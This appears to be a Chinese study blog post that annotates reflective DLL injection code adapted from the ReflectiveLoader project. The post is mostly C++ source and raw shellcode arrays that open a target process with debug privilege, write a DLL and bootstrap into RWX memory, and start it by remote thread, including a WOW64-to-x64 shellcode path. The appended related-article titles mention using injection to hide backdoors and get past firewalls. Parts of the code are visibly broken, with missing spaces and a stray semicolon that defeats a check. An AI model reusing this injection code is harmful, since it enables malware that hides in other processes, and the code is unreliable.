从github上下载了ReflectiverLoader认真学习了一下 在代码中得到一些心得和自己的想法,都按步骤写到了代码中,现在分享给大家,如有错,望大家指正

其中需要注入的dll和解析, 内存RVA与 文件RVA的转换代码(汇编与c++的都有)和解析,shellcode的汇编附到链接

一.这是用到的shellocode

作用:经调试得出他是为了解决x86下运行x64 的问题(windbg可以看到是通过远跳转到x64下执行)

static BYTE __ExecutexX64[] = "\x55\x89\xE5\x56\x57\x8B\x75\x08\x8B\x4D\x0C\xE8\x00\x00\x00\x00"
"\x58\x83\xC0\x25\x83\xEC\x08\x89\xE2\xC7\x42\x04\x33\x00\x00\x00"
"\x89\x02\xE8\x09\x00\x00\x00\x83\xC4\x14\x5F\x5E\x5D\xC2\x08\x00"
"\x8B\x3C\x24\xFF\x2A\x48\x31\xC0\x57\xFF\xD6\x5F\x50\xC7\x44\x24"
"\x04\x23\x00\x00\x00\x89\x3C\x24\xFF\x2C\x24"; static BYTE __FunctionX64[] = "\xFC\x48\x89\xCE\x48\x89\xE7\x48\x83\xE4\xF0\xE8\xC8\x00\x00\x00"
"\x41\x51\x41\x50\x52\x51\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48"
"\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A"
"\x4D\x31\xC9\x48\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9"
"\x0D\x41\x01\xC1\xE2\xED\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C"
"\x48\x01\xD0\x66\x81\x78\x18\x0B\x02\x75\x72\x8B\x80\x88\x00\x00"
"\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48\x18\x44\x8B\x40"
"\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34\x88\x48\x01\xD6"
"\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC9\x0D\x41\x01\xC1\x38\xE0"
"\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8\x58\x44\x8B\x40"
"\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40\x1C\x49\x01\xD0"
"\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E\x59\x5A\x41\x58"
"\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0\x58\x41\x59\x5A"
"\x48\x8B\x12\xE9\x4F\xFF\xFF\xFF\x5D\x4D\x31\xC9\x41\x51\x48\x8D"
"\x46\x18\x50\xFF\x76\x10\xFF\x76\x08\x41\x51\x41\x51\x49\xB8\x01"
"\x00\x00\x00\x00\x00\x00\x00\x48\x31\xD2\x48\x8B\x0E\x41\xBA\xC8"
"\x38\xA4\x40\xFF\xD5\x48\x85\xC0\x74\x0C\x48\xB8\x00\x00\x00\x00"
"\x00\x00\x00\x00\xEB\x0A\x48\xB8\x01\x00\x00\x00\x00\x00\x00\x00"
"\x48\x83\xC4\x50\x48\x89\xFC\xC3";
 

二.用到的结构体 宏定义和哈希值(利用MakeHanValue计算就行,代码中有小注释)

#define MYFUNCTION_HASH		0x6654bba6 // hash of "MyFunction"
enum {
UNKNOWN,
X86,
X64
}; #define DEREFERENCE (Value) *(UINT_PTR *)(Value)
#define DEREFERENCE_64(Value) *(DWORD64 *)(Value)
#define DEREFERENCE_32(Value) *(DWORD *)(Value)
#define DEREFERENCE_16(Value) *(WORD *)(Value)
#define DEREFERENCE_8 (Value) *(BYTE *)(Value) typedef BOOL (WINAPI *LPFN_ISWOW64PROCESS) (HANDLE, PBOOL); typedef BOOL(WINAPI* LPFN_FUNCTIONX64)(DWORD ParameterData);
typedef DWORD(WINAPI* LPFN_EXECUTEX64)(LPFN_FUNCTIONX64 FunctionX64, DWORD ParameterData); typedef struct _WOW64CONTEXT_
{
union
{
HANDLE ProcessHandle;
BYTE Padding[8];
}u1; union
{
LPVOID ThreadProcedure;
BYTE Padding[8];
}u2; union
{
LPVOID ParameterData;
BYTE Padding[8];
}u3;
union
{
HANDLE ThreadHandle;
BYTE Padding[8];
}u4;
} WOW64CONTEXT, *LPWOW64CONTEXT;
 

三.主函数的解析

int main()
{
HANDLE FileHandle = NULL;
ULONG  FileLength = 0;
LPVOID FileData = NULL;
ULONG  ReturnLength = 0;
HANDLE ProcessHandle = NULL;
HANDLE RemoteThreadHandle = NULL;
DWORD  ExitCode = 0;
if (EnableSeDebugPrivilege(L"SeDebugPrivilege", TRUE) == FALSE)
{
return 0;
}
DWORD ProcessID = 0;
printf("Input ProcessID:\r\n");
scanf("%d", &ProcessID);
#ifdef_WIN64
char* DllFullPath = "ReflectiveLoader.dll";
#else
char* DllFullPath = "ReflectiveLoader.dll";
#endif
//1.打开文件
FileHandle = CreateFileA(DllFullPath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (FileHandle == INVALID_HANDLE_VALUE)
{
printf("CreateFileA() Error\r\n");
goto Exit;
}
//2.获得大小
FileLength = GetFileSize(FileHandle, NULL);
if (FileLength == INVALID_FILE_SIZE || FileLength == 0)
{
printf("GetFileSize() Error\r\n");
goto Exit;
}
//3.申请堆内存
FileData = HeapAlloc(GetProcessHeap(), 0, FileLength);
if (!FileData)
{
printf("HeapAlloc() Error\r\n");
goto Exit;
}
//4.读内存
if (ReadFile(FileHandle, FileData, FileLength, &ReturnLength, NULL) == FALSE)
{
printf("HeapAlloc() Error\r\n");
goto Exit;
}
//以下是对目标进行操作
//5.打开目标进程
ProcessHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
FALSE, ProcessID);
if (!ProcessHandle)
{
printf("OpenProcess() Error\r\n");
goto Exit;
}
//6.加载动态库
RemoteThreadHandle = LoadRemoteLibrary(ProcessHandle, FileData, FileLength, NULL,MYFUNCTION_HASH,(LPVOID)"911",strlen("911")+1);
if (!RemoteThreadHandle)
{
printf("LoadRemoteLibrary() Error\r\n");
goto Exit;
}
printf("LoadRemoteLibrary() Success\r\n");
//7.远程线程等待注入
WaitForSingleObject(RemoteThreadHandle, INFINITE);
if (!GetExitCodeThread(RemoteThreadHandle, &ExitCode))
printf("Input AnyKey To Exit\r\n");
getchar();
//8.释放内存
Exit:
if (FileData)
{
HeapFree(GetProcessHeap(), 0, FileData);
}
if (FileHandle!=NULL)
    {
CloseHandle(FileHandle);
FileHandle = NULL;
    }
if (ProcessHandle)
{
CloseHandle(ProcessHandle);
ProcessHandle = NULL;
}
return 0;
}

四. LoadRemoteLibrary的解读(其中三种获得目标体系结构的方法 我记入了笔记)

HANDLEWINAPI LoadRemoteLibrary(
HANDLEProcessHandle,
LPVOIDFileData,   //Dll文件数据
DWORDFileLength,
LPVOIDParameterData,
DWORDFunctionHash,//函数哈希值
LPVOIDUserData,
DWORDUserDataLength)
{
HANDLE RemoteThreadHandle = NULL;
DWORD  RemoteThreadID = 0;
DWORD TargetArchitecture = X86; //目标体系结构
DWORD DllArchitecture = UNKNOWN;
#ifdefined(_WIN64)
DWORD CurrentArchitecture = X64;
#elifdefined(_WIN32)
DWORD CurrentArchitecture=X86
#else
#endif
__try
{
do
{
if (!ProcessHandle || !FileData || !FileLength)
{
break;
}
//第一幕
// 1.获得目标进程的Architecture 进程通过内核获得体系结构
HMODULE KernelModuleBase = LoadLibraryA("kernel32.dll");
if (!KernelModuleBase)
break;
__IsWow64Process = (LPFN_ISWOW64PROCESS)GetProcAddress(KernelModuleBase, "IsWow64Process");
FreeLibrary(KernelModuleBase);
if (__IsWow64Process)
{
BOOL IsOK;
if (!__IsWow64Process(ProcessHandle, &IsOK));
{
break;
}
if (IsOK)
{
TargetArchitecture = X86;
}
else
{
//通过系统判断32位与64位
SYSTEM_INFO SystemInfo = { 0 };
GetNativeSystemInfo(&SystemInfo);
if (SystemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64)
TargetArchitecture = X64;
elseif (SystemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_INTEL)
TargetArchitecture = X86;
else
break;
}
}
// 2.通过PE获得获得Dll的Architecture
//MZ头+e_lfanew=NT头
PIMAGE_NT_HEADERS ImageNtHeaders = (PIMAGE_NT_HEADERS)(((PUINT8)FileData) + ((PIMAGE_DOS_HEADER)FileData)->e_lfanew);
if (ImageNtHeaders->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC) // PE32
DllArchitecture = X86;
elseif (ImageNtHeaders->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC) // PE64
DllArchitecture = X64;
// 3.判断DLL和目标进程是否是相同的架构??
if (DllArchitecture != TargetArchitecture)
{
printf("Must Be Same Architecture\r\n");
break;
}
//第二幕
//1.再次检查动态库的装入
// check if the library has a ReflectiveLoader...
DWORD ReflectiveLoaderOffset = GetReflectiveLoaderOffset(FileData);
if (!ReflectiveLoaderOffset)
{
printf("Could Not Get ReflectiveLoader Offset\r\n");
break;
}
DWORD RemoteBufferLength = FileLength
+ UserDataLength
+ 64; // shellcode buffer
// 2.alloc memory (RWX) in the host process for the image...
LPVOID RemoteBufferData = VirtualAllocEx(ProcessHandle, NULL, RemoteBufferLength, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!RemoteBufferData)
{
break;
}
printf("VirtualAllocEx() Success\r\n");
//3.1 write the image into the host process...将图像写入主进程。
//RemoteBufferData 指向写入数据的指定进程中的基地址的指针
if (!WriteProcessMemory(ProcessHandle, RemoteBufferData, FileData, FileLength, NULL))
break;
//基地址+偏移
ULONG_PTR ReflectiveLoader = (ULONG_PTR)RemoteBufferData + ReflectiveLoaderOffset;
//3.2 write our userdata blob into the host process
ULONG_PTR RemoteUserData = (ULONG_PTR)RemoteBufferData + FileLength;
if (!WriteProcessMemory(ProcessHandle, (LPVOID)RemoteUserData, UserData, UserDataLength, NULL))
break;
//3.3写shellcode
ULONG_PTR RemoteShellCode = RemoteUserData + UserDataLength;
BYTE Bootstrap[64] = { 0 };
DWORD BootstrapLength = CreateBootstrap(
Bootstrap,
64,
TargetArchitecture,
(ULONG_PTR)ParameterData,
(ULONG_PTR)RemoteBufferData,
FunctionHash,
RemoteUserData,
UserDataLength,
ReflectiveLoader);
if (BootstrapLength <= 0)
{
break;
}
printf("%p\r\n", RemoteShellCode);
getchar();
if (!WriteProcessMemory(ProcessHandle, (LPVOID)RemoteShellCode, Bootstrap, BootstrapLength, NULL))
break;
printf("Wrote ShellCode Success\r\n");
/*
此处的写入图
RemoteBufferData[FileData的基地址]
写入FileData
RemoteUserData[UserData的基地址]
写入UserData
RemoteShellCode
写入Bootstrap
*/
//确保我们的更改是马上写的
FlushInstructionCache(ProcessHandle, RemoteBufferData, RemoteBufferLength);
printf("%p\r\n", RemoteShellCode);
getchar();
getchar();
//第三幕 判断主体与客体的位 并且创建线程执行
// 目标64  当前32
if (CurrentArchitecture == X86 && TargetArchitecture == X64)
{
Wow64CreateRemoteThread(ProcessHandle, (LPVOID)RemoteShellCode, ParameterData, &RemoteThreadHandle);
ResumeThread(RemoteThreadHandle);
}
else
{
//目标32  当前32
//目标64  当前64
//目标32  当前64
RemoteThreadHandle = CreateRemoteThread(ProcessHandle, NULL, 1024 * 1024,
(LPTHREAD_START_ROUTINE)RemoteShellCode, ParameterData,
(DWORD)NULL, &RemoteThreadID);
/*lpStartAddress [in]指向由线程执行的类型为LPTHREAD_START_ROUTINE的应用程序
定义函数的指针,并表示远程进程中线程的起始地址。该功能必须存在于远程进程中。
lpParameter [in]
指向要传递给线程函数的变量的指针。
*/
}
} while (0);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
RemoteThreadHandle = NULL;
}
return RemoteThreadHandle;
}
 

五.  Wow64CreateRemoteThread解读

DWORD Wow64CreateRemoteThread(HANDLEProcessHandle, LPVOIDThreadProcedure, LPVOIDParameterData, HANDLE * ThreadHandle)
{
DWORD Result = ERROR_SUCCESS;
LPFN_EXECUTEX64  ExecuteX64 = NULL;
LPFN_FUNCTIONX64 FunctionX64 = NULL;
WOW64CONTEXT*  Wow64Context = NULL;
OSVERSIONINFO  OsVersionInfo = { 0 };
do
{
//第一幕 判断系统是否合适
OsVersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
if (!GetVersionEx(&OsVersionInfo))
{
printf("GetVersionEx() Error\r\n");
break;
}
// filter out Windows 2003
if (OsVersionInfo.dwMajorVersion == 5 && OsVersionInfo.dwMinorVersion == 2)
{
printf("Is 2003 Error\r\n");
break;
}
//第二幕
//1.分别为ExecuteX64,FunctionX64申请shellcode大小的内存兵赋值
/*shellcode经过调试得出是通过远跳转到64位进程中执行 惭愧 瞎调了一遍还没有掌握调试方法 有点难。。。*/
ExecuteX64 = (LPFN_EXECUTEX64)VirtualAlloc(NULL, sizeof(__ExecutexX64), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!ExecuteX64)
{
printf("VirtualAlloc() Error\r\n");
break;
}
FunctionX64 = (LPFN_FUNCTIONX64)VirtualAlloc(NULL, sizeof(__FunctionX64) + sizeof(WOW64CONTEXT), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!FunctionX64)
{
printf("VirtualAlloc() Error\r\n");
break;
}
// copy over the wow64->x64 stub
memcpy(ExecuteX64, &__ExecutexX64, sizeof(__ExecutexX64));
// copy over the native x64 function
memcpy(FunctionX64, &__FunctionX64, sizeof(__FunctionX64));
//2.设置上下背景文
Wow64Context = (WOW64CONTEXT *)((BYTE *)FunctionX64 + sizeof(__FunctionX64));
Wow64Context->u1.ProcessHandle   = ProcessHandle;   //目标进程句柄
Wow64Context->u2.ThreadProcedure = ThreadProcedure;
Wow64Context->u3.ParameterData   = ParameterData;
Wow64Context->u4.ThreadHandle    = NULL;
//3.执行该代码的环境是32位
if (!ExecuteX64(FunctionX64, (DWORD)Wow64Context))  
{
printf("ExecuteX64() Error\r\n");
break;
}
//作为一个标识
if (!Wow64Context->u4.ThreadHandle)
{
printf("ThreadHandle Is NULL\r\n");
break;
}
// 4.成功! 从上下文中抓取新的线程句柄
*ThreadHandle = Wow64Context->u4.ThreadHandle;
} while (0);
//5.退出
if (ExecuteX64)
{
VirtualFree(ExecuteX64, 0, MEM_RELEASE);
ExecuteX64 = NULL;
}
if (FunctionX64)
{
VirtualFree(FunctionX64, 0, MEM_RELEASE);
FunctionX64 = NULL;
}
return Result;
}
 

ReflectiveLoader分析(远程线程注入 PE修正)的更多相关文章

  1. 远程线程注入方法CreateRemoteThread

    最近在整理学习Windows注入方面的知识,这个远程注入前面早写过,现在看看人家博客的理解整理,整理, 需要源码的可以到我的github上下载. 链接是  https://github.com/Ars ...

  2. 安全之路 —— 借助DLL进行远程线程注入实现穿墙与隐藏进程

    简介        大多数后门或病毒要想初步实现隐藏进程,即不被像任务管理器这样典型的RING3级进程管理器找到过于明显的不明进程,其中比较著名的方法就是通过远程线程注入的方法注入将恶意进程的DLL文 ...

  3. 安全之路 —— 无DLL文件实现远程线程注入

    简介         在之前的章节中,笔者曾介绍过有关于远程线程注入的知识,将后门.dll文件注入explorer.exe中实现绕过防火墙反弹后门.但一个.exe文件总要在注入时捎上一个.dll文件着 ...

  4. 详细解读:远程线程注入DLL到PC版微信

    一.远程线程注入的原理 1.其基础是在 Windows 系统中,每个 .exe 文件在双击打开时都会加载 kernel32.dll 这个系统模块,该模块中有一个 LoadLibrary() 函数,可以 ...

  5. 远程线程注入dll,突破session 0

    前言 之前已经提到过,远线程注入和内存写入隐藏模块,今天介绍突破session 0的dll注入 其实今天写这个的主要原因就是看到倾旋大佬有篇文章提到:有些反病毒引擎限制从lsass中dump出缓存,可 ...

  6. windows-CODE注入(远程线程注入)

    远程线程注入(先简单说,下面会详细说)今天整理下代码注入(远程线程注入),所谓代码注入,可以简单的理解为是在指定内进程里申请一块内存,然后把我们自己的执行代码和一些变量拷贝进去(通常是以启线程的方式) ...

  7. mfc HackerTools远程线程注入

    在一个进程中,调用CreateThread或CreateRemoteThreadEx函数,在另一个进程内创建一个线程(因为不在同一个进程中,所以叫做远程线程).创建的线程一般为Windows API函 ...

  8. 远程线程注入DLL突破session 0 隔离

    远程线程注入DLL突破session 0 隔离 0x00 前言 补充上篇的远程线程注入,突破系统SESSION 0 隔离,向系统服务进程中注入DLL. 0x01 介绍 通过CreateRemoteTh ...

  9. 远程线程注入DLL

    远程线程注入 0x00 前言 远程线程注入是一种经典的DLL注入技术.其实就是指一个新进程中另一个进程中创建线程的技术. 0x01 介绍 1.远程线程注入原理 画了一个图大致理解了下远程线程注入dll ...

随机推荐

  1. 201521123022 《Java程序设计》 第十一周学习总结

    1.本章学习总结 2.书面作业 本次PTA作业题集多线程 Q1.互斥访问与同步访问 完成题集4-4(互斥访问)与4-5(同步访问 Q1.1 除了使用synchronized修饰方法实现互斥同步访问,还 ...

  2. What is uClinux?

    What is uClinux? The original uClinux was a derivative of Linux 2.0 kernel intended for microcontrol ...

  3. PHp连接数据库实现增删改查

    首页 删除 添加 添加处理页面 修改 修改处理页面

  4. String ua = request.getHeader("user-agent")---ua值为null

    最近在修改错误日志,发现总报空指针,追踪代码发现这个ua的值有时候会为null,上网查了半天也无果,按常理说ua的值不可能为null,俩小时没找到原因,只是将ua判null了一下,记录一下,如果有大虾 ...

  5. ArrayList 和 LinkedList 的实现与区别

    (转载请标明出处) 1.ArrayLis t的实现 2.LinkedLis t的实现 3.ArrayList 和 LinkedList 的区别 ArrayList 的实现: 1.MyArrayList ...

  6. java中判断字符串是否为数字的方法的几种方法

    1.用JAVA自带的函数 public static boolean isNumeric(String str){ for (int i = 0; i < str.length(); i++){ ...

  7. java 读取properties文件总结

    一.java读取properties文件总结 在java项目中,操作properties文件是经常要做的,因为很多的配置信息都会写在properties文件中,这里主要是总结使用getResource ...

  8. 《MATLAB从入门到放弃》二维曲线和图形绘制基础(一): 什么是图形对象和句柄 ?

    图形对象 一个图形包含了不同的对象 图形包括 核心对象和绘制对象 .  核心对象 线条对象 : line 文本对象 : text 矩形对象 : rectangle 补丁对象 : patch 图像对象  ...

  9. 第一个ExtJS练习(添加用户面板)

    1.[准备] 我是在visual studio里面建立了一个asp.net MVC项目,然后导入ExtJS必要的包,然后写的. ExtJS5.1版本下载:https://pan.baidu.com/s ...

  10. DLL生成与使用的全过程

    由dll导出的lib文件: 包含了每一个dll导出函数的符号名和可选择的标识号以及dll文件名,不含有实际的代码(这里的lib文件和静态库是不一样的),其中的导出导入函数都 是跳转指令,直接跳转到DL ...